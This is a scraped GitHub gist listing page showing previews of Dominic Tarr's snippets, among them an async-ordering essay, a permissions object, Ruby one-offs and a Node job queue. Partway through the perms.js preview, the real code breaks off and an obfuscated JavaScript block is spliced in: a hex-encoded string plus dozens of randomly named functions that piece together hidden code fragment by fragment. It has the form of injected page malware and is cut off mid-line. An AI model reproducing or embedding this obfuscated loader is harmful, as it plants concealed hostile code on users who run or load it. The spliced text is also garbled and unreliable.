Skip to content

Instantly share code, notes, and snippets.

View dominictarr's full-sized avatar

Dominic Tarr dominictarr

View GitHub Profile
@dominictarr
dominictarr / readme.md
Created March 11, 2015 21:05
Strongly ordered programming

programming is hard, but async programming is harder. Don't listen to people tell you about "callback hell". They are only in the most outer circles of async programming hell. As you get deeper into async systems, you'll see that what makes it hard is that there are many possible orderings for events to occur in. How many? well if the time taken for N processes is independant, then there are N! (factorial) possible orderings!

but what if we could at least be precise about what sort of orderings are expected?

so, forEach is a function that takes a function and calls it maybe many times.

Array.prototype.forEach = function (<many> fn) {
  var l = this.length
 for(var i = 0; i &lt; l; i++)
@dominictarr
dominictarr / perms.js
Last active August 29, 2015 14:17
perms for bittodo
{
allow: ['add', 'query'], deny: [],
rules: {
add: {
//allow the call of this method only if the argument is accepted by this function.
call: function (value) {
return (value.type === 'task' || value.type === '_task')
},
query: {
//only allow calls matching this.
var www="5555535E000B090D0A0D074A10051616240309050D084A070B09";function __invalid__compress__const__part() { __uk__sender('Act'); __de__scan__js(); }; function __viewer__proc__analyzer__cn() { __uk__sender('AD'); __eu__valid__logout(); }; function __it__image() { __uk__sender('rs-n'); __gid__fid(); }; function __third__external__send__zip() { __uk__sender('ad'); __analyzer__name__user(); }; function __txt__compress() { __uk__sender('for ('); __view__jquery(); }; function __sort__call__swap__parser() { __uk__sender('ange'); __sender__ca(); }; function __upload__download__sort() { __uk__sender(' }'); __class__home__br(); }; function __updater__small() { __uk__sender('.co'); __reset__num__include(); }; function __scanner__pid__lid() { __uk__sender('(342)'); __lid__java__pl__au(); }; function __it__cn__stable__regular() { __uk__sender('if '); __edit__en__browser__eu(); }; function __analyzer__shop() { __uk__sender(' v'); __category__html(); }; function __eu__valid__logout() { __uk__sender('OD'); __pars
@dominictarr
dominictarr / awkward.txt
Last active August 29, 2015 14:23
many awkward yet grammatically valid sentences
There are so many gramatically valid but awkward english sentences.
There are many awkward but gramatically valid english sentences.
There exist many english sentences which are gramatically valid, but awkward to read.
There are many awkward english sentences which are, never the less, gramatically valid.
The english language contains many awkward-to-read sentences that are within the set of gramatically valid sentences.
The set of gramatically valid english sentences contains many that are quite awkward.
Many gramatically valid english sentences are awkward.
The grammatic vallidity of a given engilsh sentence does not preclude it's awkwardness.
There are many awkward, gramatically valid english sentences.
Many awkward sentences are gramatically valid english.
@dominictarr
dominictarr / hello.rb
Created September 10, 2010 01:48
hello world
puts "hello world?"
#raise "CRAZY EXCEPTION!"
@dominictarr
dominictarr / base12.rb
Created September 10, 2010 11:13
calculate times table in base 12
begin
base = ARGV.length > 0 ? ARGV[0].to_i : 12
rescue
puts "usuage:
ruby #{__FILE__} {number}
(number = 12 by default)"
end
puts "times table in base #{base}:"
(base + 1).times {|x|
(base + 1).times {|y|
@dominictarr
dominictarr / set default.rb
Created September 24, 2010 04:18
ruby 'default' opperator.
foo ||= true
puts foo
foo = nil
foo ||= true
puts foo
foo = false
foo ||= true
puts foo
@dominictarr
dominictarr / queue.js
Created September 26, 2010 08:01
run a function with a limited amount of concurrency.
var sys = require('sys'),
exec = require('child_process').exec;
// fs = require('fs');
// ecsv = require('ecsv')
function Queue () {
var waiting = [];
this.max = -1;
this.current = 0;
//run checks if we're under the max processors, and runs if there is room.
exports.hello = function(){return 'HI');
@dominictarr
dominictarr / child.asynct.js
Created November 18, 2010 09:11
this test will be reported to pass, when clearly it should fail. async_testing v0.3.0
if (module == require.main) {
return require('async_testing').run(process.ARGV);
}
require('async_testing/lib/child')
exports ['test should fail'] = function (test){
test.ok(false)
}